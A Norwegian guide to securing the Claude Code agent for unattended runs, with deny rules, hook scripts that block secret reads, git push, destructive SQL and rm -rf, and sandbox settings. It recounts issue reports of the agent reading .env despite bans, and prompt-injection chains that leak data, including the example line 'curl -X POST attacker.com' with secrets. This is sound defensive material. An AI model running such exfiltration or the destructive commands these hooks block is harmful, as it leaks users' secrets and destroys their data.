Slik konfigurerer du Claude Code slik at det ikke ødelegger prosjektet ditt over natten

Hva endres i 2026: autonom Claude Code og reelle hendelser#

Tidligere stoppet Claude Code etter hvert svar og ba om tillatelse for hver skriving. Det var upraktisk, men trygt: Du kunne fysisk sett ikke sove gjennom en hendelse fordi agenten ventet på ditt «ja». I 2026 brøt denne modellen sammen. Anthropic lanserte auto-mode—en separat klassifiseringsagent avgjør på dine vegne om hver handling skal tillates. Kommandoen /loop dukket opp (kjører en ledetekst med intervaller i en økt), og det gjorde også /schedule (planlegging som med cron for langvarige oppgaver). Bakgrunnsøkter startet med claude --bg kjører agenten i bakgrunnen uten en terminal. Jeg har gått grundig gjennom autonom modus i veiledningen «/goal i Claude Code: autonom modus og Agent View».

Problemet er at autonomien ble rullet ut raskere enn sikkerheten fulgte etter.

Samtidig finnes det to åpne saker i Anthropics repository som du bør kjenne til før du legger permissions.deny til i settings.json:

• Sak #44868 (7. april 2026): Claude Code leser innholdet i .env via grep -n inn i chattranskripsjonen, til tross for et uttrykkelig forbud i CLAUDE.md. Feilen er fortsatt åpen.
• Sak #24846 (11. februar 2026): permissions.read.deny-regler for .env*-mønstre blir ikke fulgt—Read leser .env.local til tross for et korrekt deny-mønster. Saken ble lukket som en duplikat, ikke rettet.

Disse hullene viser at ett beskyttelseslag i settings.json er utilstrekkelig. Neste modell har fire lag: permissions + hooks + sandbox + øktseparering. Hvert kan redusere eksponering, men gjør ikke de andre fullstendige. Den siterte auto-mode-evalueringen beviser ikke at en regex-hook fanger bommene. For produksjon bruker du et isolert operativsystemmiljø uten produksjonstilganger eller skrivetilgang, håndhever nettverksbegrensninger utenfor modellen og tester grensene før kjøring uten tilsyn.

Hva er de grønne og røde prosjektsoneområdene?#

Det er meningsløst å bygge den samme beskyttelsen for hvert prosjekt. Et lokalt hobbyprosjekt på maskinen din som ikke er distribuert eksternt, har et helt annet risikonivå enn en tjeneste som håndterer reelle betalinger og lagrer kundedata. Hvis du bruker den samme beskyttelsen overalt, hemmer du farten i den grønne sonen og etterlater fortsatt hull i den røde sonen.

Et prosjekt går fra grønt til rødt så snart minst én av tre betingelser er oppfylt: aktive kunder kommer til, penger begynner å flyte gjennom systemet, eller databasen inneholder personopplysninger. Fram til da kan du bruke auto-mode, et minimum av hooks og ingen sandbox. Etter det må beskyttelsen bygges om i tråd med det fullstendige oppsettet i denne veiledningen.

Hovedprinsippet: beskyttelsesnivået knyttes til sonen. Utviklingsstadiet teller ikke. Et hobbyprosjekt på maskinen din med en testkonto hos Stripe er i den grønne sonen. En tjeneste med én betalende kunde og et registreringsskjema er allerede i den røde sonen, selv om den fortsatt ser ut som et «utkast». Å forveksle disse sonene er en vanlig felle i tidlige prosjekter: «Vi er fortsatt i utkastfasen, vi legger til beskyttelse senere», og så betaler den første kunden neste uke.

Hvordan fungerer permissions-hierarkiet i settings.json?#

Anthropic beskriver hierarkiet for evaluering av permissions i sin offisielle dokumentasjon: deny-regler sjekkes først, deretter ask, så allow—den første regelen som samsvarer, vinner. Det betyr at deny alltid overstyrer allow. Hvis du forbyr lesing av .env i ~/.claude/settings.json, og noen setter allow i prosjektets .claude/settings.json, er det forbudet ditt som gjelder, ikke tillatelsen deres.

Eksempel på en minimal, trygg ~/.claude/settings.json på brukernivå:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Hva skjer her? De seks første reglene hindrer lesing av hemmelige filer i gjeldende mappe og alle undermapper. *.pem og *.key er SSL/TLS-nøkler og SSH-nøkler. credentials*.json er et typisk filnavn brukt av skyleverandører. De tre siste er systemmapper med SSH-nøkler, AWS-legitimasjon og GPG-nøkler.

Nøkkelen disableBypassPermissionsMode: "disable" blokkerer flagget --dangerously-skip-permissions (også kjent som YOLO-modus). Dette fjerner én type feil én gang for alle: Selv om du ved et uhell legger til flagget i et skript eller alias, vil Claude Code nekte å godta det. Den fjerner det ikke bare—den returnerer feilen «mode disabled by managed settings».

I tillegg ignoreres nøkkelen defaultMode: "auto" fra og med versjon 2.1.142 hvis den ligger i prosjekt- eller lokale innstillinger. Dette beskytter mot situasjonen «Jeg gikk inn i noen andres repository, og .claude/settings.json der har automatisk modus aktivert som standard». Anthropic har uttrykkelig uttalt at repositories ikke kan aktivere auto-mode uten brukerens samtykke.

Dette er den første beskyttelseslinjen. Du kan ikke stoppe her, fordi den har to hull som du får vite om i neste avsnitt.

Hvorfor er ikke permissions.deny nok: 2 åpne GitHub-saker#

Hvis permissions.deny fungerte, kunne veiledningen ha sluttet i forrige avsnitt. Det gjør den ikke.

Sak #44868 (7. april 2026): Brukeren la uttrykkelig inn et forbud i CLAUDE.md mot å lese .env, .dev.vars og andre filer som inneholder hemmeligheter. I stedet for å bruke Read kjørte Claude grep -n SOMETHING .env. Kommandoen grep -n skriver ut hele linjen som samsvarer, med linjenummer—inkludert selve API-tokenet. Linjen havner i tool_result, vises i øktens transkripsjon og lagres i historikken.

Det subtile poenget forfatteren gjør oppmerksom på: modellens sikkerhetsrefleks slår inn etter at utdataene allerede er produsert, ikke før kommandoen kjøres. Med andre ord kjører Claude først grep, får en linje som inneholder tokenet og skriver den i chatten—først da oppdager den feilen og «beklager». Da er tokenet allerede i chatthistorikken. Den eneste løsningen er å rotere nøkkelen.

Sak #24846 (11. februar 2026): Brukeren konfigurerte permissions.read.deny med en liste som inkluderte mønsteret **/.env*. Deretter ba de Claude lese .env.local. Read-verktøyet ble fullført uten feil og skrev ut filinnholdet.

Saken ble lukket som en duplikat, men ikke rettet. Den kan fortsatt reproduseres per tidspunktet da denne veiledningen ble skrevet (juni 2026).

Konklusjon: Lag 1 i settings.json er ikke bortkastet arbeid, men eksemplene måler ikke andelen utilsiktede lesinger det hindrer. Men det hindrer ikke kommandoer via Bash (cat .env, grep API_KEY .env, head .env), håndhevingsfeil (sak #24846) eller smarte kjeder som bruker git diff eller git show på en commit som inneholder .env. Derfor trenger du et andre lag—hooks.

Hvordan kan hooks blokkere gjenkjente farlige handlinger?#

Hooks fungerer på et annet abstraksjonsnivå enn permissions. Permissions er regler modellen tar hensyn til når den bestemmer hva den skal gjøre. En hook fungerer annerledes: Modellen bestemmer seg for å kalle et verktøy, hooken kjører mellom modellen og systemet, sjekker inndataene og enten tillater eller blokkerer dem. Modellen deltar ikke i hookens avgjørelse—det er skallkode du skriver selv.

Anthropic beskriver blokkeringsatferden i sin offisielle hooks-dokumentasjon:

Dette betyr to ting. For det første kan en riktig konfigurert blokkerende hook avslå det matchende verktøykallet. For PreToolUse blokkerer avslutningskode 2 dette kallet. Det beviser ikke at skriptet gjenkjenner enhver farlig tilsvarende kommando. For det andre kan du legge en meningsfull melding i stderr, og Claude vil lese den som en feil og prøve en annen tilnærming. Med andre ord er en hook ikke bare et «gjerde»; den er et «gjerde med et skilt som forklarer hvorfor du ikke kan passere».

Hendelser som kan blokkeres med avslutningskode 2:

• PreToolUse—blokkerer verktøykallet før utføring. Den viktigste hendelsen for beskyttende hooks.
• PermissionRequest—avslår tillatelse til en handling Claude ba om tillatelse til å utføre.
• UserPromptSubmit—blokkerer og sletter brukerens ledetekst. Nyttig hvis ledeteksten inneholder mistenkelig tekst (for eksempel prompt injection fra en plantet e-post).
• Stop—hindrer Claude i å avslutte økten. Kan brukes som en «løkke» for å holde agenten i arbeid til en betingelse er oppfylt.
• PreCompact—blokkerer automatisk komprimering av kontekst. Nyttig hvis du vil bevare transkripsjonen til en manuell avgjørelse.
• WorktreeCreate—avviser oppretting av worktree. Beskyttelse mot at Claude prøver å klone et repository et uventet sted.

Et alternativ til avslutningskode 2 er å returnere JSON med et felt hookSpecificOutput.permissionDecision. permissionDecision har fire mulige verdier:

• allow—tillater handlingen uttrykkelig og omgår standardflyten for permissions.
• deny—blokkerer handlingen, tilsvarende avslutningskode 2 for PreToolUse.
• ask—sender spørsmålet videre til brukeren (en dialog vises).
• defer—utsetter avgjørelsen til den vanlige permissions-logikken.

Dette gir en hook mer kontroll enn en avslutningskode. Med permissionDecision: "ask" kan du gjøre stille operasjoner om til operasjoner som krever bekreftelse, uten å blokkere dem helt. Det gjør jeg for npm install <new package> og endringer i lockfile.

Hvis du vil lære mer om hvordan hooks fungerer og hvilke 31 hendelser som for øyeblikket finnes i Claude Code, har jeg gått gjennom dem i en egen veiledning «Hooks i Claude Code: 7 regler klare til kopiering». Deretter gir jeg konkrete hooks for autonomt arbeid.

Hvilke 7 hooks bruker jeg for nattarbeid?#

Dette er det andre beskyttelseslaget, som støtter det første. Alle hooks legges i .claude/hooks/, registreres via .claude/settings.json og krever at jq er installert.

Hook 1: Beskytt .env, .pem og credentials.json mot lesing

Legger til kontroller for utvalgte Read-baner og vanlige Bash-kommandoer som leser hemmeligheter. Den fanger ikke alle verktøy eller alle måter å lese en hemmelighet på. Fil: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Registrering i .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Etter installasjonen kjører du chmod +x .claude/hooks/block-secret-reads.sh. Test: be Claude lese .env.local—du får svaret «Secret file. Use op:// references or env vars.» i stedet for filinnholdet.

Hook 2: Blokker bokstavelige git push-kall i nattøkter

For en økt uten tilsyn blokkerer dette eksemplet konservativt hvert bokstavelig git push som gjenkjennes, også til funksjonsgrener. Det utleder ikke gjeldende gren og avgjør ikke om et force-flagg er trygt. Fil: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Registrer via PreToolUse med Bash-matcher. Ved å blokkere den gjenkjente push-kommandoen fremfor å tolke flagg og grennavn fanges git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main og en bokstavelig push i en &&- eller ;-kjede. Dette er frakoblede tekstmatchingseksempler, ikke kommandoer som skal kjøres mot en ekstern vert.

Dette er fortsatt en tekstheuristikk. Git-aliaser, shell-funksjoner, git -C ... push, konstruerte kommandonavn, skript og andre verktøy kan gå utenom. Det er ingen full shell-parser. Håndhev beskyttede grener på Git-serveren, fjern tilganger som kan omgå dem, og kjør arbeid uten tilsyn i et isolert miljø uten produksjonsskrivetilgang. Manglende hook-treff gir ikke produksjonsfullmakt.

Hook 3: Blokker destruktive SQL-operasjoner

Tar direkte tak i hendelser der databaser slettes. Fil: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Registrer: PreToolUse med matcher: "Bash". Merk forskjellen: DROP og DELETE uten WHERE blokkeres fullstendig, mens UPDATE uten WHERE blir ask—det kan være legitimt iblant (for eksempel å sette et flagg på alle poster i en migrering), men krever alltid manuell bekreftelse.

Hook 4: Filter for rm -rf

Kanonisk eksempel fra Anthropics dokumentasjon, tilpasset for å avslå med en begrunnelse:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Hooken tillater rm -rf node_modules, rm -rf .next/cache og andre slettinger med uttrykkelig angitt omfang. Den blokkerer rm -rf ., rm -rf /, rm -rf ~ og lignende «slett alt»-kommandoer.

Hook 5: Bekreft installasjon av nye pakker

Denne hooken motvirker angrep i forsyningskjeden. Hvis Claude på egen hånd bestemmer seg for å legge til en ny avhengighet, vises en dialog:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Hooken lar installasjoner fra lockfile fortsette fritt, mens det kreves bekreftelse for å legge til en ny avhengighet.

Hook 6: Beskytt package.json og lockfilen

Enhver endring i et avhengighetsmanifest er et signal om at noen bør inspisere det. Særlig om natten.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Registrer med PreToolUse og Write|Edit-matcher.

Hook 7: Ende-til-ende-revisjonslogg over alle Bash-kall

Hvis noe går galt over natten, trenger du en fullstendig logg for å forstå hendelsesforløpet. Registrer i settings.json (hooken har ikke et eget skript; jq gjør alt):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Filen .claude/audit.jsonl vokser med én linje om gangen. Om morgenen, etter en nattlig /loop, kan du kjøre tail -n 100 .claude/audit.jsonl | jq og se hva agenten gjorde på hvert tidspunkt. Dette er avgjørende for en etteranalyse fordi øktens transkripsjon kan være lang og vanskelig å lese, mens revisjonsloggen gir en ryddig tidslinje.

Hvordan beskytter sandbox og worktree-isolering lange økter?#

Hvis hooks er et «gjerde med et skilt», er sandboxen et «gjerde + vollgrav + dronenett». Det er det fjerde beskyttelseslaget, som dekker situasjoner der hooks slipper gjennom en handling, men selv utføring av den handlingen ikke bør kunne skade noe utenfor miljøet.

I sitt blogginnlegg om sandboxing (20. oktober 2025) rapporterer Anthropic interne målinger:

Det betyr at når du aktiverer /sandbox, slutter Claude å be om tillatelse for 84 % av handlingene fordi disse handlingene fysisk sett ikke kan forlate sandboxen. Det er nyttig for hastigheten, men det er ikke hovedverdien.

Sandboxen gir to nivåer av isolering, hvert med sin egen rolle:

Filsystemisolering begrenser lesing og skriving til uttrykkelig tillatte mapper. Selv om en hook overser et forsøk på å skrive til /etc/hosts eller lese ~/.ssh/id_rsa, slipper sandboxen ikke systemkallet gjennom. Dette er beskyttelse på operativsystemnivå. Applikasjonslaget kan ikke se den.

Nettverksisolering tillater bare tilkoblinger til godkjente servere. Dette er avgjørende for angrep med dataeksfiltrering. Scenario: prompt injection i en plantet fil lurte Claude til å lese .env (hooken overså det fordi lesingen fulgte en uvanlig bane), og deretter bestemmer modellen seg for å kjøre curl -X POST attacker.com -d "$ENV_CONTENT". Uten nettverksisolering fungerer dette. Med nettverksisolering kan ikke curl nå attacker.com fordi verten ikke står på listen.

Start den med kommandoen /sandbox inne i Claude Code. Konfigurer den i ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

For lange bakgrunnsøkter startet med claude --bg kan du legge til worktree-isolering i sandboxen. Dette er en innebygd mekanisme i Claude Code: Hver bakgrunnsøkt flyttes automatisk til sin egen .claude/worktrees/<name>/ på en separat gren. Det betyr at parallelle økter ikke tråkker hverandre på tærne når de skriver til de samme filene. Jeg har gått grundig gjennom worktree-isolering i veiledningen «Agent View og worktrees: Claude Codes autonome modus».

Sandbox er en del av tilbakemeldingssløyfen. Når Claude vet at handlingene er begrenset, arbeider den mer omhyggelig og beskriver mellomtrinnene tydeligere.

Hvor fungerer auto-mode i 2026, og hvor fungerer det ikke?#

I mars 2026 lanserte Anthropic auto-mode som «en mellomting mellom manuell gjennomgang og ingen sikkerhetsmekanismer». Det er en separat Sonnet 4.6-modell som vurderer hver Claude-handling opp mot et sett med kriterier før utføring. Anthropic beskrev mekanismene i Anthropic Engineering-bloggen:

Auto-mode har to viktige begrensninger:

• Hvis en økt samler opp 3 avslag fra klassifikatoren på rad eller 20 totalt, stopper modellen og sender saken videre til et menneske. Dette beskytter mot situasjoner der «Claude går i løkke og prøver å omgå en begrensning med 100 forskjellige formuleringer av den samme kommandoen».
• Auto-mode tillater en handling hvis den ligner på 93 % av typiske tilfeller brukere uansett ville ha godkjent. Dette reduserer tillatelsestretthet, men beskytter ikke mot atypiske, farlige handlinger.

Og her er hovedtallet du bør legge merke til:

De rapporterte 17 % er en falsk-negativ-rate i den evalueringen, ikke en sannsynlighet for hver handling i prosjektet ditt. Det fastslår ikke at eksempelhooks fanger de oversette handlingene. I den røde sonen trenger arbeid uten tilsyn håndhevet isolasjon fra produksjonsskriving og hemmeligheter samt beskyttede grener på serveren og tilganger som ikke kan omgå reglene.

Praktisk konklusjon: Bruk hooks som tilleggskontroller i et miljø som kan kastes og gjenopprettes. Selv et lokalt prosjekt kan ha usporede filer eller tilganger Git ikke gjenoppretter. I den røde sonen må en hook-bom begrenses av faktiske tilgangskontroller. En samling regexer gjør ikke vilkårlig shell-kjøring til en deterministisk sikkerhetsgaranti.

Hvorfor dele kontekster inn i tre økttyper?#

Tre typer oppgaver bør aldri finnes i samme økt:

Type 1: arbeid med personopplysninger. Økten har tilgang til produksjonsdatabasen, kan sende e-post og se legitimasjon. Den har IKKE tilgang til eksterne dokumenter (e-post, PDF-er, nettsider) og KAN IKKE sende data til vilkårlige adresser.

Type 2: behandling av eksterne dokumenter. Økten kan analysere innkommende e-post, laste ned nettsider og lese PDF-er fra e-post. Den har IKKE tilgang til en database med personopplysninger og KAN IKKE sende noe eksternt uten uttrykkelig bekreftelse.

Type 3: ekstern publisering. Økten kan publisere på sosiale nettverk, sende e-postkampanjer og opprette pull requests. Den har IKKE tilgang til personopplysninger og analyserer IKKE innkommende innhold.

Hvorfor skille dem? Hvis én økt gjør alt, er én prompt injection i en plantet PDF (et konkurrerende byrå sendte en «faktura») nok til at agenten i én omgang leser kundedatabasen din, finner e-postadressene deres og sender dem til en angripers adresse. Hver handling i denne kjeden er legitim for sin egen oppgavetype. Samlet utgjør de en lekkasje.

I praksis implementeres dette med ulike .claude-mapper for ulike oppgavetyper. Jeg har tre konfigurasjoner på maskinen min: ~/projects/business-ops/.claude/ (type 1, databasetilgang, nettverk nektet med unntak av interne API-er), ~/projects/inbox-parsing/.claude/ (type 2, alt nettverk nektet), ~/projects/social-posting/.claude/ (type 3, nettverk tillatt for Telegram- og Slack-API-er). Hver mappe er et eget prosjekt for Claude Code med egne permissions og hooks.

Hvilke 12 punkter på sjekklisten går jeg gjennom før /loop?#

1. ~/.claude/settings.json med deny på brukernivå for .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. Dette er grunnlaget; resten er nytteløst uten det.

2. disableBypassPermissionsMode: "disable" i ~/.claude/settings.json. Blokkerer YOLO-flagget én gang for alle.

3. Eksemplene i block-secret-reads.sh er testet på utvalgte hemmelighetslesekommandoer; faktiske hemmeligheter og produksjonstilganger er utilgjengelige for miljøet uten tilsyn.

4. Eksemplet block-force-push.sh blokkerer gjenkjente bokstavelige pushes uansett flaggrekkefølge og mål. Beskyttede grener og tilganger uten omgåelse håndheves av Git-serveren.

5. Hooken block-destructive-sql.sh for DROP TABLE, TRUNCATE og DELETE FROM uten WHERE.

6. Hooken block-rm-rf.sh for rm -rf uten uttrykkelig angitt omfang.

7. Hooken ask-on-new-deps.sh for npm install <new package> (atskilt fra npm install uten argumenter).

8. Hooken ask-on-lockfile-change.sh for skriving til package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml og Cargo.toml.

9. En altomfattende audit.jsonl-logg for alle Bash-, Write- og Edit-kall. Uten den er etteranalyse umulig.

10. Alle lange bakgrunnsøkter kjøres i en worktree, ikke på hovedgrenen: claude --bg "task" oppretter automatisk en worktree, men kontroller at settings.json ikke inneholder worktree.bgIsolation: "none".

11. /sandbox før du starter en lang, autonom oppgave. Filsystemet begrenses til prosjektmappen og /tmp. Nettverket bruker en godkjenningsliste med api.anthropic.com, github.com og registry.npmjs.org.

12. Et verifiseringstrinn i selve oppgaven: Kjør testverktøyet eller linteren etter hver større endring. Hvis de feiler, fortsetter ikke agenten før de er rettet.

Det siste punktet er en arbeidsmåte, ikke en verktøyinnstilling. Gi Claude en måte å kontrollere arbeidet sitt på. Uten verifisering fortsetter en agent som kjører over natten med «Jeg tror jeg gjorde dette riktig, jeg går videre», og samler opp feil fram til morgenen. Med verifisering fortsetter den ikke før kontrollen består.

7 antimønstre: Hva du IKKE bør gjøre#

1. --dangerously-skip-permissions på en vertsmaskin med produksjonstilgang. Browningstreet mistet produksjonsdatabasene og utviklingsdatabasene med én enkelt «rydde opp»-kommando. En feil koster timer med gjenoppretting, pluss data som ikke finnes i sikkerhetskopien. Hvis en hendelse allerede har skjedd, åpne «Hva gjør du hvis AI slettet en database: sjekkliste for gjenoppretting» og følg de 10 trinnene i rekkefølge.

2. Å kun stole på CLAUDE.md for sikkerhet. Sak #44868 viste at modellen handler først og beklager senere. En rådgivende instruksjon i en tekstfil blokkerer ikke et verktøykall. En riktig konfigurert hook kan blokkere matchende kall, mens kontroller i operativsystem, sandbox og tjenester håndhever bredere grenser. CLAUDE.md er viktig for prosjektkontekst—jeg skrev separat om det i «Slik konfigurerer du CLAUDE.md riktig»—men den beskytter deg ikke mot en autonom agent.

3. Å kun stole på permissions.deny i settings.json uten en hook på toppen. Sak #24846 har vært åpen siden februar 2026. Deny for .env* kan omgås gjennom grep i Bash. En hook kan legge til kontroller, men hemmeligheter må også holdes utenfor miljøet uten tilsyn. En regex erstatter ikke tilgangskontroll fullstendig.

4. Å behandle auto-mode og regex-hooks som produksjonsisolasjon. Den siterte falsk-negativ-raten gjelder evalueringen, og hook-dekningen er ufullstendig. Fjern produksjonsskrivetilganger og verifiser den håndhevede grensen fremfor å anta at hver farlig handling fanges.

5. Å installere en ny pakke med npm install uten bekreftelse. Angrep i forsyningskjeden er reelle. Tea-tags-hendelser i 2024–2026 viste at pakker med nesten identiske navn og tusenvis av nedlastinger finnes. Du trenger en godkjenningsliste.

6. Å ikke logge Bash-kall. Uten en revisjonslogg vil du ikke kunne forstå hva som skjedde over natten. Chattranskripsjonen er lang, ikke indeksert etter kommando og gir ingen tidslinje. .claude/audit.jsonl løser begge problemene.

7. Å ikke bruke en worktree for bakgrunnsøkter. Parallelle økter i én mappe tråkker hverandre på tærne. Claude Code har worktree.bgIsolation, aktivert som standard siden versjon 2.1.143, men kontroller innstillingene dine.

Og det viktigste som ingen hook eller innstilling kan forhindre:

Den formuleringen handler ikke om stil. Personen som har ansvaret for å beskytte produksjonsmiljøet, er den som startet agenten. Claude Code fungerer som en barberkniv: Du kan barbere deg med den, og du kan skjære deg på den. Konfigurasjonen besvarer ett spørsmål: Har du forberedt miljøet godt nok til at barberkniven ikke skjærer i noe den ikke skal?

Oppsett før en hendelse er en del av kontekstutforming: Du begrenser på forhånd hva agenten kan gjøre, og frigjør den dermed til å gjøre det du vil den skal gjøre.

Flere ressurser finnes på Ailoot.